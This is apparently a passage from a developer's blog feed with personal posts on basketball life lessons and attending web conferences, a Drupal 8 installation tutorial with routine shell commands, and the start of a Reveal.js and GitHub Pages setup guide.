&lt;p&gt;As a forward/centre, I usually play in the post. The post players and perimeter players train separately while practising individual skills. A common complaint from the post players is that the perimeter guys don&apos;t pass the ball inside. And the perimeter players complain that it&apos;s impossible to make that pass because the post players aren&apos;t posting up properly.&lt;/p&gt;
&lt;p&gt;At some point, the coaches had enough of that and told everybody to switch places. Meaning, the post players came out to the perimeter and the perimeter players posted up inside.&lt;/p&gt;
&lt;p&gt;That was, how shall we put it, an interesting experience. The post players realised how stressful it was to try to make that entry pass to the post while a defender was draped all over you. And the perimeter players realised how much physicality was required to actually pin the defender behind you for those couple of seconds to get open for the pass.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;This is much harder than it looks. For both parties.&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/pass.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded
    videos, but don&apos;t worry, you can &lt;a href=&quot;/videos/pass.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;p&gt;If you don&apos;t care for basketball at all, that probably didn&apos;t make any sense to you whatsoever. But the point is, when conflicts arise, try to put yourself in that other person&apos;s shoes. They have their struggles on the other side as well. Could you do what they are doing right now?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #3:&lt;/strong&gt; Don&apos;t be so quick to criticise until you&apos;ve walked a mile in their shoes. Who&apos;s to say you wouldn&apos;t have done the same?&lt;/p&gt;
&lt;p&gt;When I first joined the national team, I went from being a starter to a scrub. And that was a hard lesson to learn. The level of competition was different. I had always been a post player, but at the international level, I was way too small for that. I had to learn to play a position completely new to me, and fight for a spot on the team against players who had played that position their whole lives.&lt;/p&gt;
&lt;p&gt;I realised that coming off the bench was harder than being a starter. Especially if you didn&apos;t know when your number would be called. But when it was, you&apos;d better be ready to deliver. In that sense, the stakes were a little higher, because you&apos;d enter the game cold and be expected to keep up the pace immediately. Playing time is a privilege, not a right, and that privilege is earned by doing the best you can whatever your role may be.&lt;/p&gt;
&lt;p&gt;During the 2009 William Jones Cup, another team-mate and I were relatively junior and didn&apos;t play very much during the first couple of games. But as the tournament went on, we didn&apos;t do too badly. We definitely weren&apos;t the most skilled players at the time, so the only thing we could do was hustle, play defense and do the little things well. By the final 2 games, we were on the floor for more than the half the game.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #4:&lt;/strong&gt; Understand what your role is and how you fit in the grand scheme of things, then play that role the best you can.&lt;/p&gt;
&lt;p&gt;I got the chance to play in the FIBA Asia Championships, the SEABA Championship and a couple other tournaments over the years. But there was tournament that I never made it to. That was the Southeast Asian Games (SEA games). This tournament meant everything, a gold medal guaranteed funding for the next 2 years.&lt;/p&gt;
&lt;p&gt;In 2011, I had decided it would be my last year with the national team. As much as I loved chasing my dream of playing basketball, the matter of fact was, professional sports is not much of an option in this part of the world right now. It definitely wasn&apos;t easy. I got injured early in the year and had to work extra hard to get back to where I was. Rehab taught me a lot about patience, about mental toughness, and about listening to your body.&lt;/p&gt;
&lt;p&gt;Despite my best efforts, I was one of the last players to get cut. To say I wasn&apos;t disappointed would be a lie, but I know I had put in my best effort already. Sometimes, your best effort just isn&apos;t enough.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #5:&lt;/strong&gt; Hard work gets you closer to success but does not guarantee it. If you&apos;re only fixated by the end result, then failure becomes devastating. But if you focus on the process, then the end result becomes secondary.&lt;/p&gt;
&lt;p&gt;Even after I made the national team, I still felt as if the elders in my family didn&apos;t really approve of what I was doing. Both my parents worked, so I was largely brought up by my grandmother. And she&apos;d use to say things like, when are you going to play until? Don&apos;t play until you fail your exams. Stuff like that.&lt;/p&gt;
&lt;p&gt;Rationally, I could see where she was coming from. As someone who raised 3 kids on her own because my grandfather passed away rather early, she was very practical about life. But, deep down, all I wanted was for her to be proud of me. After I left home, I would still call back to tell her about where we were flying to for the next tournament, if we won or lost, and life in general. But I don&apos;t think she&apos;d ever seen me play.&lt;/p&gt;
&lt;p&gt;I was playing in a national league tournament in 2012 when I got the news that my grandmother had passed away. Although she wasn&apos;t in the pink of health, at 86, she was still sharp and could move around. Let&apos;s just say, nobody expected she&apos;d go that quickly.&lt;/p&gt;
&lt;p&gt;After the funeral, one of my relatives, who had been around while my grandmother&apos;s health took a turn for the worse, handed me a newspaper. It was a full page article about the tournament I was playing in and my photo was featured in it. She told me, that was pretty much the last thing my grandmother saw, and she was so proud. You bet I cried on that bus ride back to join my team.&lt;/p&gt;
&lt;p&gt;I wished I had at least showed her videos of my games, but I always thought I wasn&apos;t good enough, that I&apos;d wait to play the perfect game, then I&apos;d show her. As fate would have it, we won that tournament. And I received my first MVP award of my career. But the person I most wanted to tell, wasn&apos;t around any more. It was 2 weeks too late.&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;The one game I wished I could have told my grandmother about.&lt;/figcaption&gt;
  &lt;img alt=&quot;MNBL 2012&quot; src=&quot;/images/posts/life-lessons/mnbl.jpg&quot; /&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Life lesson #6:&lt;/strong&gt; If you have something you want to say or show to a loved one, do it now. There might not be a tomorrow.&lt;/p&gt;
&lt;p&gt;My 6 year stint with the national team is an experience that is worth more than anything money can ever buy. When people find out that I gave up the opportunity pursue my tertiary education in Singapore to go back home to play basketball, they give me a look that says &amp;quot;You must be nuts&amp;quot;. I say, there are hundreds of thousands of students who graduate University, but how many people get the chance to wear their national flag? 10 years ago today, I chased a dream. If I had to do it again a thousand times, I would have done the same.&lt;/p&gt;
&lt;p&gt;Basketball has taught me a lot about life. And made me the person I am today. I&apos;m thankful that I decided to stick with it despite the familial objections. It really is more than just a game.&lt;/p&gt;
</content:encoded></item><item><title>Why developers should attend conferences</title><link>https://chenhuijing.com/blog/why-conferences/</link><guid isPermaLink="true">https://chenhuijing.com/blog/why-conferences/</guid><description>I live in the tropical island nation of Singapore. For those of you who have never heard of Singapore, it&apos;s a small island in the South China Sea. That ought…</description><pubDate>Sun, 01 Nov 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I live in the tropical island nation of Singapore. For those of you who have never heard of Singapore, it&apos;s a small island in the South China Sea. That ought to be a good enough geographical hint, right? I mean, you can&apos;t get any more explicit than that. The sea which is south of China, is definitely in Asia. Okay, lame geography session over. The point I want to make today is about conferences.&lt;/p&gt;
&lt;p&gt;There are plenty of conferences for web developers these days. &lt;a href=&quot;http://aneventapart.com/&quot;&gt;An Event Apart&lt;/a&gt;, &lt;a href=&quot;http://smashingconf.com/&quot;&gt;Smashing Conference&lt;/a&gt;, &lt;a href=&quot;http://jsconf.com/&quot;&gt;JSConf&lt;/a&gt;, &lt;a href=&quot;https://www.youtube.com/user/jsconfeu/playlists&quot;&gt;CSSConf&lt;/a&gt;, and these are just the big names. A full list would be pretty lengthy (Smashing Magazine publishes &lt;a href=&quot;https://web.archive.org/web/20161228154158/https://www.smashingmagazine.com/2015/06/upcoming-web-design-events-june-december-2015/&quot;&gt;a list of upcoming events&lt;/a&gt; every 6 months).&lt;/p&gt;
&lt;p&gt;My peeve is that almost all of these conferences take place in Europe or America. There seems to be a dearth of web development conferences in my part of the world. You might be thinking, who cares? What&apos;s the big deal about conferences anyway? Just a bunch of nerds talking about nerd stuff.&lt;/p&gt;
&lt;p&gt;Well, first of all, nerds are essentially the ones running this planet already, so you probably don&apos;t want to piss us off (Then again, if you&apos;re reading this, odds are you&apos;re one of us). But the matter of fact is this, attending a conference with the right mindset can really push you forward to becoming a better developer than you currently are.&lt;/p&gt;
&lt;p&gt;Our industry moves ridiculously fast, and it doesn&apos;t seem like we&apos;re slowing down any time soon. It does take a bit of effort on our part to keep up and attending a conference is a great way to do that.&lt;/p&gt;
&lt;h2&gt;A concentrated blast of great content&lt;/h2&gt;
&lt;p&gt;I haven&apos;t been to conferences in other industries so I&apos;m not sure how things work there, but for developer conferences, a lot of value comes from the content. The pace of our industry ensures that there will always be fresh content on new technologies, the latest practices and innovative techniques. Most people are caught up in the daily grind of their 9-to-5 (or 9-to-9 for that matter), and don&apos;t have time to read articles, tutorials and books. Attending a conference is like receiving an instant power-up.&lt;/p&gt;
&lt;img alt=&quot;Instant power-up&quot; srcset=&quot;/images/posts/conference/powerup-480.jpg 480w, /images/posts/conference/powerup-640.jpg 640w, /images/posts/conference/powerup-960.jpg 960w, /images/posts/conference/powerup-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/conference/powerup-640.jpg&quot;&gt;
&lt;p&gt;Of course, you won&apos;t become an expert just by showing up, but it really helps bring you up to speed so you can explore using these new technologies and techniques moving forward. That&apos;s infinitely better than not being aware of them at all.&lt;/p&gt;
&lt;h2&gt;Connecting with like-minded people&lt;/h2&gt;
&lt;p&gt;Although a lot of developers work in tech companies, there are a lot of us out there who work in other industries as well. I actually work in Advertising (keep the snarky comments to yourself, thanks). Our development team of 4 is pretty tiny in the grand scheme of things.&lt;/p&gt;
&lt;p&gt;And almost everyone outside the development team don&apos;t really understand what&apos;s going on in our day-to-day. When my team and I talk shop, I can literally see their eyes glaze over. I mean, they sort of know what it is we do (type cryptic-looking text onto our screens while mumbling to ourselves) but not how it is we do it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/conference/magic.gif&quot; alt=&quot;Magic&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is why I love going to meet-ups. It&apos;s not just talking about code (although that&apos;s often my favourite part), but also discovering different perspectives and approaches, learning about how other teams work, methods of collaboration, project architecture, workflows, this list will be endless. If you haven&apos;t been to a meet-up, you really should try it. A conference is essentially a 10x-ed meet-up.&lt;/p&gt;
&lt;p&gt;But I am shy/am introverted/don&apos;t like people, you might say. Personally, I fall right smack in the middle of the spectrum, in that I don&apos;t get anxious meeting and talking to new people, but neither am I the type to get to know everyone in the room.&lt;/p&gt;
&lt;p&gt;I usually develop a conversation with a small group of people and just continue that conversation throughout the meet-up. Some of you might find interacting with new people a draining experience. But I really do think that a conference is worth saving up your energy for. A lot of good stuff happens at meet-ups and conferences.&lt;/p&gt;
&lt;p&gt;There&apos;s definitely opportunities to make new friends, meet potential clients, find interesting projects to collaborate on and generally just geek out on development-related topics.&lt;/p&gt;
&lt;h2&gt;Break up the monotony and get inspired&lt;/h2&gt;
&lt;p&gt;Regardless of how much you love your job, going through the same routine every single day will inevitably set you on some sort of an auto-pilot mode. Attending a conference breaks up this routine, especially if you need to travel to get there.&lt;/p&gt;
&lt;p&gt;You get to wake up in a different place, eat different food, meet different people. Breaking out of auto-pilot can inspire new ideas, and conversations with new people can trigger your mind to think in ways you never thought of before.&lt;/p&gt;
&lt;p&gt;It can also be a good way to recharge yourself. You won&apos;t be stuck in work meetings, or answering emails, or fixing bugs. For the duration of the conference, you get to free your mind from work and do something different instead. Who knows, a solution to that problem that you had been stuck on for weeks might come to you while you&apos;re tucking into some refreshments during the break.&lt;/p&gt;
&lt;h2&gt;Conferences in Asia, the lack thereof&lt;/h2&gt;
&lt;p&gt;As I mentioned earlier, there seems to be a dearth of developer conferences in Asia. Just quickly scan &lt;a href=&quot;https://web.archive.org/web/20171102100115/http://lanyrd.com/&quot;&gt;Lanyrd&lt;/a&gt; for upcoming &lt;a href=&quot;https://web.archive.org/web/20171102100115/http://lanyrd.com/topics/web-development/&quot;&gt;web development conferences&lt;/a&gt; over the next 2 months and you&apos;ll be hard pressed to find any held in Asia (probably one or two).&lt;/p&gt;
&lt;p&gt;As much as I would love to travel to America or Europe to attend one of them, money doesn&apos;t grow on trees. I usually end up signing up for online conferences (&lt;a href=&quot;http://environmentsforhumans.com/2015/css-summit/&quot;&gt;CSS Summit&lt;/a&gt; was a great one) or just hope that the conferences post their talk videos online. But that just covers the content part of things, not the connections part of it.&lt;/p&gt;
&lt;p&gt;I have a theory on why conferences aren&apos;t so popular here. It&apos;s purely anecdotal so feel free to dismiss it, if you wish. I feel that a lot of developers here haven&apos;t realised the value of attending a conference. We don&apos;t have much of a conference culture here.&lt;/p&gt;
&lt;p&gt;I&apos;m pretty sure if you ask around, one of the reasons would definitely be, &amp;quot;My company doesn&apos;t want to pay for this. So I&apos;m not going.&amp;quot; Let&apos;s face it, conference tickets don&apos;t come cheap. But that&apos;s also because organising a conference is a very hard thing to pull off. I feel developers need to see conference attendance as an investment in oneself.&lt;/p&gt;
&lt;p&gt;The insights we can glean, the knowledge and techniques we pick up, the potential connections we make, are definitely worth the price of admission and then some. Attending a conference will not instantly boost your profit margin or give you a raise.&lt;/p&gt;
&lt;p&gt;But you get back from a conference as much as you put in it. If we fully immerse ourselves in the conference experience, speaking with other attendees, making notes during talks, engaging with the speakers when the opportunity arises, the returns on this investment will serve us well long after the conference is over.&lt;/p&gt;
&lt;h2&gt;Dev.Fest Asia 2015&lt;/h2&gt;
&lt;p&gt;What we lack in volume, we make up in quality. Although we don&apos;t have a big-name conference every other fortnight, we do have an awesome event this year. &lt;a href=&quot;http://2015.devfest.asia/index.html&quot;&gt;Dev.Fest Asia 2015&lt;/a&gt; is Southeast Asia&apos;s first community organized web developer festival taking place from &lt;strong&gt;Nov 12 till Nov 22&lt;/strong&gt;. It&apos;s a week-long event filled with workshops and meet-ups, building up to the main events of &lt;a href=&quot;http://2015.cssconf.asia/&quot;&gt;CSSConf.Asia 2015&lt;/a&gt; on &lt;strong&gt;Nov 18&lt;/strong&gt; and &lt;a href=&quot;http://2015.jsconf.asia/&quot;&gt;JSConf.Asia 2015&lt;/a&gt; on &lt;strong&gt;Nov 19-20&lt;/strong&gt;.&lt;/p&gt;
&lt;img alt=&quot;Dev.Fest 2015 logo&quot; srcset=&quot;/images/posts/conference/devfest@2x.png 2x&quot; src=&quot;/images/posts/conference/devfest.png&quot;&gt;
&lt;div class=&quot;figure-wrapper&quot;&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;CSSConf.Asia 2015&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/conference/cssconfasia.svg&quot; alt=&quot;CSSConf.Asia 2015&quot;&gt;
    &lt;/figure&gt;
    &lt;figure class=&quot;multiple&quot;&gt;
        &lt;figcaption&gt;JSConf.Asia 2015&lt;/figcaption&gt;
        &lt;img src=&quot;/images/posts/conference/jsconfasia-140.jpg&quot; srcset=&quot;/images/posts/conference/jsconfasia-210.jpg 1.5x, /images/posts/conference/jsconfasia-280.jpg 2x&quot; alt=&quot;JSConf.Asia 2015&quot;&gt;
    &lt;/figure&gt;
&lt;/div&gt;
&lt;p&gt;The speaker line-up is fantastic, including &amp;quot;the father of SVG&amp;quot;, &lt;a href=&quot;https://twitter.com/svgeesus&quot;&gt;Chris Lilley&lt;/a&gt;, co-creators of CSS modules, &lt;a href=&quot;https://twitter.com/markdalgleish&quot;&gt;Mark Dalgleish&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/glenmaddern&quot;&gt;Glen Maddern&lt;/a&gt;, developer evangelist, &lt;a href=&quot;https://twitter.com/codepo8&quot;&gt;Christian Heilmann&lt;/a&gt;, just to name a few. You can &lt;strong&gt;buy tickets&lt;/strong&gt; for &lt;a href=&quot;http://CSSConf.Asia&quot;&gt;CSSConf.Asia&lt;/a&gt; and &lt;a href=&quot;http://JSConf.Asia&quot;&gt;JSConf.Asia&lt;/a&gt; &lt;a href=&quot;https://www.eventnook.com/event/devfestasia2015/register/jscssonly&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If you need to convince your boss to let you go, feel free to use any of the points raised in this article. Maybe they&apos;ll even pay for your ticket
&lt;span class=&quot;kaomoji&quot;&gt;٩(^ᴗ^)۶&lt;/span&gt;. Regardless, the value you&apos;ll receive from attending these conferences is definitely way more than the price of admission, so don&apos;t wait any longer, &lt;a href=&quot;https://www.eventnook.com/event/devfestasia2015/register/jscssonly&quot;&gt;buy your conference ticket&lt;/a&gt; now and level yourself up at &lt;a href=&quot;http://DevFest.Asia&quot;&gt;DevFest.Asia&lt;/a&gt; 2015.&lt;/p&gt;
</content:encoded></item><item><title>Drupal 101: Installing Drupal 8</title><link>https://chenhuijing.com/blog/drupal-101-getting-started-with-d8/</link><guid isPermaLink="true">https://chenhuijing.com/blog/drupal-101-getting-started-with-d8/</guid><description>For people who may not be entirely familiar with the software development process, understand that it&apos;s not like we start off with a fixed pool of issues which…</description><pubDate>Tue, 20 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;For people who may not be entirely familiar with the software development process, understand that it&apos;s not like we start off with a fixed pool of issues which gets smaller as issues are resolved. For a relatively large project like Drupal, on-going development will inevitably introduce new issues. But if you take a look at the issue logs, the issues have been steadily trending downward since we started, and RC1 was finally released on October 7.&lt;/p&gt;
&lt;p&gt;I first took a peek at Drupal 8 over a year ago when it was at alpha9 just out of curiosity. At that time in my career, I was barely getting the hang of Drupal 7, so I didn&apos;t really explore very much beyond clicking around the interface and trying to create some content. With RC1 fresh out of the oven, and looking pretty good to me, I figured it&apos;d be a good time to go through the process of building a Drupal 8 site and documenting the experience. Because, why not?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Download the required Drupal 8 files&lt;/strong&gt;&lt;br&gt;
There are two ways to do this. You can download the files from &lt;a href=&quot;https://www.drupal.org/node/3060/release&quot;&gt;Drupal.org&lt;/a&gt; and extract them into your local development manually. My preferred method is via Drush. If you&apos;re not using Drush, I highly suggest it. Instructions for getting up and running with Drush can be found &lt;a href=&quot;/blog/team-drupal-development#installing-drush&quot;&gt;here&lt;/a&gt;. Make sure you&apos;re using at least version 7 as Drupal 8 doesn&apos;t work with earlier versions of Drush.&lt;/p&gt;
&lt;p class=&quot;no-margin&quot;&gt;Navigate to wherever you store your local development sites and run the following:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush dl drupal-8 --select
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I suppose you could go for the dev version, but the latest supported version will be fine as well.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Run the install script&lt;/strong&gt;&lt;br&gt;
Navigate to the base url of your site and you should see something like this:&lt;/p&gt;
&lt;picture&gt;
   &lt;source media=&quot;(min-width: 720px)&quot; srcset=&quot;/images/posts/drupal-8/install-lg-1248.jpg 2x, /images/posts/drupal-8/install-lg-640.jpg 1x&quot; sizes=&quot;60vw&quot;&gt;
   &lt;source srcset=&quot;/images/posts/drupal-8/install-sm-766.jpg 2x, /images/posts/drupal-8/install-sm-480.jpg 1x&quot; sizes=&quot;90vw&quot;&gt;
   &lt;img src=&quot;/images/posts/drupal-8/install-sm-480.jpg&quot; alt=&quot;Install Drupal 8&quot;&gt;
&lt;/picture&gt;
&lt;p&gt;The entire process doesn&apos;t deviate from Drupal 7 very much, and almost all the fields to be filled are exactly the same. It&apos;s just a slightly different look and feel in terms of UI.&lt;/p&gt;
&lt;p&gt;According to the &lt;a href=&quot;https://api.drupal.org/api/drupal/core!INSTALL.txt/8&quot;&gt;official documentation&lt;/a&gt;, Drupal will create the &lt;code&gt;settings.php&lt;/code&gt; and &lt;code&gt;services.yml&lt;/code&gt; files during installation, but if it can&apos;t, it will prompt you to do so manually. If you do get this prompt, it&apos;s highly likely that your web server does not have permissions to write to the &lt;code&gt;sites/default&lt;/code&gt; folder. If you don&apos;t feel like &lt;code&gt;chown&lt;/code&gt;-ing anything, you can move on to the next three steps.&lt;/p&gt;
&lt;p&gt;Depending on how your local machine is set up, you&apos;ll have to allow your web server to have write permissions to the &lt;em&gt;sites/default&lt;/em&gt; folder. For my machine, I was using the default Apache that came with OS X, so I changed ownership of the folder to &lt;code&gt;_www&lt;/code&gt;, which was the default Apache user (modify accordingly if you&apos;re using something different).&lt;/p&gt;
&lt;p&gt;If you&apos;re using MAMP, you can follow the instructions from &lt;a href=&quot;https://web.archive.org/web/20171209104008/http://ifmeister.com/mamp-file-permissions-for-a-local-development-environment/&quot;&gt;this article&lt;/a&gt; by &lt;a href=&quot;https://web.archive.org/web/20170917193256/http://ifmeister.com/&quot;&gt;ifmeister&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Adjust folder permissions for install&lt;/strong&gt;&lt;br&gt;
Drupal needs to modify the &lt;code&gt;settings.php&lt;/code&gt; and &lt;code&gt;services.yml&lt;/code&gt; file during installation. It also needs to be able to create the &lt;em&gt;files&lt;/em&gt; folder. Modify the permissions of the &lt;em&gt;sites/default&lt;/em&gt; folder so Drupal can write to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod a+w sites/default
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command changes the permissions on that folder to allow everyone to write to it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create the services.php and services.yml files&lt;/strong&gt;
Make a copy of the &lt;code&gt;default.services.yml&lt;/code&gt; and the &lt;code&gt;default.settings.php&lt;/code&gt; file as follows (&lt;em&gt;assuming you&apos;re in the sites/default folder already&lt;/em&gt;):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp default.services.yml services.yml
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;cp default.settings.php settings.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;Modify the permissions of the settings.php file so Drupal can write to it during the setup process.&lt;/p&gt;
```bash
chmod a+w settings.php
```
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Adjust file and folder permissions&lt;/strong&gt;&lt;br&gt;
If you had to go through steps 3 and 4, then when the site is done installing, you&apos;ll most likely get a warning message like so:&lt;/p&gt;
&lt;picture&gt;
    &lt;source media=&quot;(min-width: 720px)&quot; srcset=&quot;/images/posts/drupal-8/permissions-lg-1280.jpg 2x, /images/posts/drupal-8/permissions-lg-640.jpg 1x&quot; sizes=&quot;60vw&quot;&gt;
    &lt;source srcset=&quot;/images/posts/drupal-8/permissions-sm-738.jpg 2x, /images/posts/drupal-8/permissions-sm-480.jpg 1x&quot; sizes=&quot;90vw&quot;&gt;
    &lt;img src=&quot;/images/posts/drupal-8/permissions-sm-480.jpg&quot; alt=&quot;Permissions&quot;&gt;
&lt;/picture&gt;
&lt;p&gt;Resolve the issue by changing the permissions on those files back to a secure state:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod go-w sites/default/settings.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod go-w sites/default
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Optional setup for local development&lt;/strong&gt;&lt;br&gt;
This is optional but it&apos;s really good practice to do so. You can make a local settings.php file to distinguish server configurations and other settings between your local development environment and your production environment.
Make a copy of the &lt;code&gt;settings.php&lt;/code&gt; file and name it &lt;code&gt;settings.local.php&lt;/code&gt;. On the &lt;code&gt;settings.php&lt;/code&gt; file, uncomment these lines and move them to the bottom of the file:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;# if (file_exists(**DIR** . &apos;/settings.local.php&apos;)) {
# include **DIR** . &apos;/settings.local.php&apos;;
# }
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;On the &lt;code&gt;settings.local.php&lt;/code&gt; page, if your site is drupal8.dev, for example, set up your trusted host patterns.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$settings[&apos;trusted_host_patterns&apos;] = array(
   &apos;^drupal8\.dev$&apos;,
   &apos;^www\.drupal8\.dev$&apos;,
   &apos;^localhost$&apos;,
   );
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p class=&quot;no-margin&quot;&gt;Your new Drupal 8 site should be ready for tinkering. Just double check everything is set up correctly by reviewing the &lt;em&gt;Status report&lt;/em&gt; page. There shouldn&apos;t be any warnings or errors. If so, you gotta resolve them. The good part about using Drush to install Drupal 8 is that you can update Drupal with this handy command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush up drupal
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;You can also check for updates for all modules, including core, with this command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush pm-updatestatus
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;If you want to exclude a module from being updated, you can lock it with the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;drush pm-update --lock=MODULE_NAME --lock-message=&amp;quot;LOCK_MESSAGE&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p class=&quot;no-margin&quot;&gt;I ran into some errors when I tried to running updates via Drush, and it was because my version of Drush was not updated. Not sure if this is only an issue for people on the latest dev version (8.0-dev) of Drush though. I had installed Drush using Composer so to resolve that issue I updated my version of Drush using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;composer global update
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m going to stop now before this turns into a post on using Drush, but for a comprehensive reference, you should check out the aptly named &lt;a href=&quot;http://drushcommands.com/&quot;&gt;Drush Commands&lt;/a&gt; website. Have fun with Drupal 8!&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.drupal.org/drupal-8.0&quot;&gt;Official Drupal 8 page&lt;/a&gt;&lt;/li&gt;
  &lt;li class=&quot;no-margin&quot;&gt;&lt;a href=&quot;https://www.advomatic.com/blog/building-sites-in-drupal-8-first-impressions&quot;&gt;Building Sites in Drupal 8: First Impressions&lt;/a&gt; by &lt;a href=&quot;https://www.advomatic.com&quot;&gt;Advomatic&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://web.archive.org/web/20170906070550/http://mattkorostoff.com/article/27-questions-and-answers-drupal-8&quot;&gt;27 Questions (and Answers) from My First Drupal 8 Site Build&lt;/a&gt; by &lt;a href=&quot;https://web.archive.org/web/20180322213123/http://mattkorostoff.com/&quot;&gt;Matt Korostoff&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Reveal.js + GitHub Pages: when developers give talks</title><link>https://chenhuijing.com/blog/revealjs-and-github-pages/</link><guid isPermaLink="true">https://chenhuijing.com/blog/revealjs-and-github-pages/</guid><description>Recently, I was asked to give a talk at a local front-end meetup. I&apos;d never spoken at any meetups before that. Let&apos;s just say I&apos;ve been a devoted member of the…</description><pubDate>Sun, 18 Oct 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, I was asked to give a talk at a local front-end meetup. I&apos;d never spoken at any meetups before that. Let&apos;s just say I&apos;ve been a devoted member of the audience. Regardless, I figured if I was going to give a talk in front of actual human beings, I probably ought to put some effort into preparing some decent slides to facilitate things.&lt;/p&gt;
&lt;p&gt;For most people, presentation decks are synonymous with Powerpoint, or Keynote for those hipster types (kidding, I&apos;m one of you guys). I was all like, I&apos;m a developer, we don&apos;t need no stinking presentation software, we HTML that shit. I guess I&apos;ll jump on any reason to play with something new.&lt;/p&gt;
&lt;p&gt;There are loads of frameworks that let you create really nice presentations as static sites, &lt;a href=&quot;http://lab.hakim.se/reveal-js/&quot;&gt;Reveal.js&lt;/a&gt;, &lt;a href=&quot;http://remarkjs.com/&quot;&gt;Remark&lt;/a&gt;, &lt;a href=&quot;http://imakewebthings.com/deck.js/&quot;&gt;deck.js&lt;/a&gt;, just to name a few. I settled on Reveal.js, simply because. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;My idea was to host all my slides on GitHub Pages since my own website was already up there. Using project pages would also make the URL structure appear like it was part of my site, even though they would be in completely separate repositories.&lt;/p&gt;
&lt;h2&gt;Setting up Project Pages&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Create a new GitHub repository (the URL for that is &lt;a href=&quot;https://github.com/new&quot;&gt;https://github.com/new&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Start up your terminal and navigate to the folder you want your working files to reside in.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;You can copy the clone URL from the right sidebar of your new repository&apos;s admin page. The command should look like this in your terminal:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone github.com/YOUR_USER_NAME/REPO_NAME.git
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Navigate to your freshly cloned directory and run the following commmand:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git checkout --orphan gh-pages
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You should now be on the &lt;code&gt;gh-pages&lt;/code&gt; branch, and ready to rock.&lt;/p&gt;
&lt;h2&gt;Setting up Reveal.js&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
